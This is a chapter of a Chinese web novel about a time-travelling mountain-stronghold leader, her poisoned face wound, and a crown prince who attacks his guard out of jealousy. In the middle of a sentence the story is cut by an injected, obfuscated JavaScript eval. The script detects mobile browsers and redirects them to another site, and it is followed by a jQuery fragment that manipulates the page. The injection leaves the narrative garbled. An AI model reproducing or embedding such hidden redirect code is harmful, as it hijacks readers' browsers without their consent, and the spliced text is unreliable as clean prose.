7. 她才不是双标

作品:《太子非要当我嗲夫

    人走后,密声急忙贴上来扶寻茴坐榻边休息问道:“身体如何,还是传御医来看看吧。”


    寻茴一声不吭手抚上脸颊,细细的刀痕竟还在,一丝疼痛也感受不到,指尖却沾染是深紫色粘稠的血,“你能看到我脸上的刀痕,和手指上紫血吗?”她说完,大脑突然“嗡”的一声,她竟听不到密声方才说了什么,只看到他摇头的动作。


    奇怪,只能中毒者自己看到并不能告诉祂人,它的存在吗。


    “苗疆少主制成的毒……”寻茴暗自琢磨这几个字,苗疆,这地方她曾在天禾寨古书中看到过,书中记载:苗疆中擅长蛊术善用毒之人仅三百人,其中凌氏最为天赋异禀。


    思索间,手臂上由“天神”玉佩化成的鸟图案胎记微热,与此同时脸上刀痕竟也微热,难不成这两样东西都是苗疆少主所制?


    “寻茴!寻茴!寻茴!”密声猛然大力摇晃她的身体,眉头紧锁极其担忧模样,眼眶又一次湿润。


    “他倒是适合去现代当演员,这都仅他们两个人也还能演下去,怪敬业的。”


    寻茴内心吐槽道,双眸轻抬一瞥,便见窗户外一抹的黑色,一股不适的被窥视感仿若蜘蛛网爬满周身。


    “停停停,晃得我头晕。”寻茴忍不住推开密声。


    “给我拿镜子,还是拿镜片来吧,小心点手。”


    想起来屋中镜子已被打碎后改口道,密声立马起身捡起来块较为完整的镜片。


    “别,我拿着就好,你照吧。”密声拦住她的手急忙道,她一声也没吭,仔细打量着镜中的自己,细长痕迹清清楚楚,就连手上深紫色也是,反反复复确认好几遍仍是如此。


    她不可置信抬手露出胎记问道:“密声,你有没有觉得我胳膊哪里有问题?”


    “她,竟然叫我名字了,寻茴竟然,真的叫我的名字了嘿嘿!”密声疯狂暗自窃喜,双眸此刻明亮得像灯泡。


    “又咋了,在傻乐什么?”寻茴微皱眉,轻踹了他一脚。


    “这手臂线条流畅又充满力量又很有安全感,像是能一拳就撂倒条狗熊,你肌肉好大呀。”密声说完脸微红。


    ……


    出乎意料的回答,寻茴沉默不语只把无语压住喉咙里,冷冷注视着他一副滴怜滴滴样子,果然现代人和古人沟通就是费劲,她刚想开口解释被密声抢先一步。


    “抱歉,让你不开心了。”发觉到寻茴倏然神情冷漠他连忙道歉紧接着从腰侧口袋拿出个金元宝,虔诚递给她说:“请寻茴恕罪。”


    ?


    一股无名火熊熊燃起。


    寻茴毫不犹豫拒绝,眉头紧锁心想:“这人到底把自己当成什么了!”


    只见密声掏出个金元宝一副楚楚可怜模样又道歉,她更心烦了,攥紧拳头强压怒火,喉咙却此时干得不行,费劲挤出来几个字:“我要一个人出去游逛。”


    密声呆滞点点头,寻茴快步到园桌边倒水大口喝,眼珠一转,大步回去,一把拿过两金元宝说:“心意嘛,我收下啦。”


    踏过门槛时回头看了他一眼,留下一句:“你没有义务和任何人道歉,也不需要为任何人的情绪而反省自己,好好休息吧,你也辛苦了。”


    *


    偌大的庭院,一人都没有,寻茴只好盯着池中鱼发呆,内力恢复差不多了只是用在探查这太子府上多少有点浪费,她来这个世界后整日学习练功,吃强身健体的神草药,可那“天神”玉佩对她造成伤害甚是严重,迟迟没件趁手的武器。


    她,到底是什么?


    她起初分明能感受到身体有股力量在流通,是一种强劲有力且温暖的力量,缓慢治愈伤口,直至玉佩化成一摊水成胎记。


    边云专门请来隐居深山的神医或武林高手为她诊治,皆无能为力,就连“天神”玉佩都无人晓得,只听闻密国大祭司高深莫测,连男女都不知,神医老前辈言,其十载前之炎冬曾为大祭司采药,那人一身白袍严实挡住脸就连发也如雪,始终一言未发。


    古书中提到凌氏居住于世外桃源,无人知晓此地方,唯大祭司能卜算前往此地处之法,除此以外,再无可用之音。


    古书提到的大祭司难道是密国在任大祭司吗,那这人得多少高龄?


    不过她身为密皇最大的敌人,此刻却住他儿子家里,还明日迎娶人家儿子,那也许大祭司也会在场。


    上一世的她遇害后强行被被迫穿越到这个世界,那原来的“寻茴”会不会被抓到她的世界呢?


    池子漾起一圈又一圈斩不断的涟漪,随目而望,一个个大鲤子鱼都急着张大嘴吃食,此情形寻茴忍不住小声脱口而出:“吃吃吃,就知道。”


    这双手骨节分明却伤痕累累,抬眼望之,此人竟是密声的侍卫,叫什么风来着?


    “回禀太子妃,属下名唤临风。”


    寻茴顿时有些尴尬轻咳几声,她怎么就说出来了。


    “太子妃请放心,往天禾寨送礼送人通知明日太子妃娶太子之事和罪人五马分尸,属下已办妥当,另外这是副寨主边云姐,托付我给太子妃。”临风抢先一步说完提溜起脚边的小包裹。


    “你倒是动作很快,曾可跟什么高人学过武功,边云姐,你们认识?”寻茴接过包裹不急打开先问清楚。


    只见临风皱眉抿嘴喂鱼也停下,神情似有犹豫,又带了些顾忌,她秒懂,掏出个金元宝些许难割舍的给他,“放心放心,这是酬劳,你只管放胆说便是,我必不相告太子,快说吧说吧。”


    “谢太子妃。”


    临风捏住金元宝欲要放置口袋却寻茴的手一动也不动按着,他再一次:“属下谢过太子妃!”这声比方才音量大许多。


    “不入虎穴,焉得虎子。”她心一狠终究还是松手。


    “快说吧,快说。”


    寻茴撇过脸不忍见那才捂热的金元宝冷不丁投入别人拥抱,想起上辈子她一直都是大手大脚花家里,几万一件的衣服都丝毫不带眨眼,而现在的她没有爹妈,只能打工赚钱补贴寨子,实在是心疼极了那金元宝。


    临风扬完最后一把鱼食说:“属下年幼时一家人被歹徒追杀,只留下我一人苟且偷生,曾因窃铺内包子,险些丧命于店家之手,边云姐路经此地,为我赔了银钱,又将我收留,此后我便随她住到了天禾寨……”


    “等等,那你曾是否见过我?”寻茴急忙打断他的话道,“我是天禾寨今任寨主,寻茴。”


    他闻言抬眸细细打量寻茴沉默会便摇头,“属下不清楚,我的武功是由边云姐亲自传授,于天禾寨住有三载,那是我人生中最幸福的时刻。”


    “这孩子还怪可怜的。”寻茴心道。


    “不愧是我们边云强大又善良,那你是怎么成太子的侍卫了?”寻茴忍不住继续问下去。


    “因为……”


    “临风,你在做什么!”


    临风刚要解释被突如其来的一道厉声打断,只见密声衣饰周正怒气冲冲大步过来,恶狠狠瞪了临风几眼,转身面对寻茴秒换上一副楚楚可怜模样,再一次眼眶湿润,双手半藏衣袖轻捏住她的衣角。


    “这又干嘛。”寻茴疑惑。


    “太子必然患了影响心智的病。”临风默默往后退几步。


    “我很担心你!”密声咽下说完能长达一炷香的话硬挤出这五个字。


    寻茴说:“罢了,我方才的话你有听进去吗?”


    密声说:“当然啦,还请太子妃勿忧,我会尽力让太子妃于府度日怡然,安乐自得,放心,太子妃也可随意外出游玩。”


    “你果然没听懂……”寻茴懒得纠正,全然当密声是在演戏给临风看。


    “太子,属下皆已办妥当,属下先行告辞……”


    “等一下。”密声冷不丁打断,一把拽着临风跑到一空屋子关门,留下懵然不知的她。


    察觉到此情况不对劲,临风刚要解释清楚,比责骂先来的是疼,密声冷着脸一脚踹临风腿上紧接着拔出屋中摆放的长剑,冰冷的剑刃直直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996428|193899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抵住他的脖子。


    “临风,你竟敢勾引太子妃,本宫要亲手宰了你!”密声双目通红怒斥道。


    “属下没有,太子妃……”


    临风话还没有说完,密声怒意挥剑砍来,他连忙躲闪开,那桌子被砍碎掉落地上发出刺耳声音,无论他如何大声解释。


    密声都听不进去如同着魔般,贵为当今太子,他一介草民怎能蛮力反抗,可不能牵连边云姐,只好强忍腿疼费劲得一次又一次躲闪。


    好好的屋子顷刻间如废墟般,到处都是木头和陶瓷的碎片,灰尘弥漫,临风被呛得忍不住咳嗽,甚至密声还一时疏忽踩到碎片,鲜血不止,他的格杀不止。


    好想边云姐,好想天禾寨,果真伴君如伴虎。


    “砰——”


    门被一脚踹开,一缕阳光恰好照在寻茴身上,目睹这屋内惨状她大吃一惊,满地碎渣子还沾了不少血,这当今太子明明温和待人,现为何如此发疯要下死手。


    密声对来人听而不闻,仍是双目赤红紧握剑柄,手微微发抖,转瞬间,他挥剑刺向临风肩膀,寻茴急忙闪身疾过一手紧握他的手,趁机他愣住,抬脚踢飞长剑,扬起手,一巴掌狠狠扇过去。


    “啪——”清脆巴掌声,临风按住肩膀渗血的伤口睁大双眼不可置信,这传闻中柔弱且心地善良的她竟给了太子一巴掌。


    依太子这性子,她和天禾寨都要完。


    他强忍着伤痛,连忙连滚带爬挡在寻茴面前,眼神充满怯意,强忍恐惧求饶道:“太子息怒啊,要杀要剐奴才随太子处置,请勿牵怒于太子妃,她只是一时冲动并无恶意,恳请太子大人有大量宽恕太子妃啊。”


    他浑身颤抖不忍直视太子此刻的愤怒,太子妃在旁也默不作声,也许是才反应过自己做天大错事被吓傻了,他只好周而复始恳求太子,即便是灰尘入喉。


    数息之余,一滴泪滚落至临风手边,密声未作半分迟疑,扬手便将他推开,泪泪眼潸潸扑落至寻茴膝前,他抬眸垂泪对上寻茴的双眸。


    “好像水龙头。”她心想着。


    “抱歉寻茴,我又让你不开心了,我真该死啊,你不要生气了好不好,不要因为我而气坏了身子,你想要什么我都赔给你好不好,你开心点好不好。”密声泣不成声道,指尖无措轻捏她的衣角。


    “失控的水龙头……”寻茴默默叹气,按理来说她应该保持愤怒,可这脸哭得梨花带雨,她甚至觉得自己是变态。


    原本望着他哭时还觉得他很烦躁的,后来看多了发现其实挺可爱的,慢慢的心里便生出了别样的滋味。


    “也许是这风水有问题吧。”她微皱眉。


    “我无恙,快起身吧,你衣服全都是灰尘脏死了。”寻茴俯身用袖子轻擦干净他脸上的血渍。


    风轻轻掠过密声的青丝,头顶翘起一小撮碎发,随风缓慢摆动着。


    寻茴忍不住手扶上大力揉弄过那发丝,出乎意料并不是扎手而是软绒绒,还带几丝蓬松的暖意。


    “真可爱,就是像小笨狗。”她心里不由美滋滋的。


    临风一时竟不知这是现实还是梦,那位蛮横无理的太子挨了一巴掌后竟没有要那人命,而是像小狗一样哭唧唧求主人原谅?


    这是哪?


    他真的还活着吗?


    他思索片刻,一巴掌扇在脸上,清晰的疼痛感让他无奈接受现实,听闻府中人说两人从未有过交集,大概是第一次见面后的一见钟情。


    “一见钟情会让人改变如此这之大吗。”临风暗自嘀咕。


    密声贵为太子平日对所有人都没有好脸色,包括皇上皇后,半月之前太子和皇上皇后大吵一架,被关宗人府长达十几日。


    重获自由后仍是恣意妄为,李大臣迫使其女献身于太子以求稳固地位,太子竟大庭广众之下亲自砍下他的一只手臂,这种人现如此这般……


    难不成这天禾寨寨主寻茴真身是隐居世外桃源的武林高手,不费吹灰之力便能制服太子吗。